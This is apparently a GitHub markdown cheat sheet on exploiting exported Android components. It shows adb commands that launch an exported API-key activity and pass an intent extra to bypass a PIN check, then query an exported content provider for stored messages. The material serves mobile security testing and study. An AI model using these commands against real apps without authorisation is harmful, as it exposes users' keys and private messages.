Skip to content

exploring_components_android.md

Latest commit

 

History

History
32 lines (29 loc) · 1.24 KB

exploring_components_android.md

File metadata and controls

32 lines (29 loc) · 1.24 KB
Raw

Exploring Components

Activity Exploitation

<activity android:label="@string/apic_label" android:name="<package_name>.APIKeyActivity">
  <intent-filter>
      <action android:name="<package_name>.action.VIEW_KEY" />
      <category android:name="android.intent-category.DEFAULT" />
  </intent-filter>
</activity>

e.g.:
adb shell am start <package_name>/.APIKeyActivity
or
adb shell am start <package_name>/.APIKeyActivity -a <package_name>.action.VIEW_KEY
e.g.:
-> Variable validation case in boolean
if (getIntent().getBooleanExtra(getString(R.string.vld_pin), false)) {
cat /res/values/strings.xml | grep vld_pin
<string name="vld_pin">validate_pin</string>
adb shell am start -n <package_name>/.APIKeyActivity -a <package_name>.action.VIEW_KEY --ez validate_pin true

Content Provider Exploitation

<provider android:name="<package_name>.MessagesProvider" android:enabled="true" android:exported="true" android:authorities="<package_name>.provider.messagesprovider" />
$ grep -R "content://" *
MessagesProvider.smali:  const-string v0, "content://<package_name>.provider.messagesprovider/messages"

adb shell content query --uri content://<package_name>.provider.messagesprovider/messages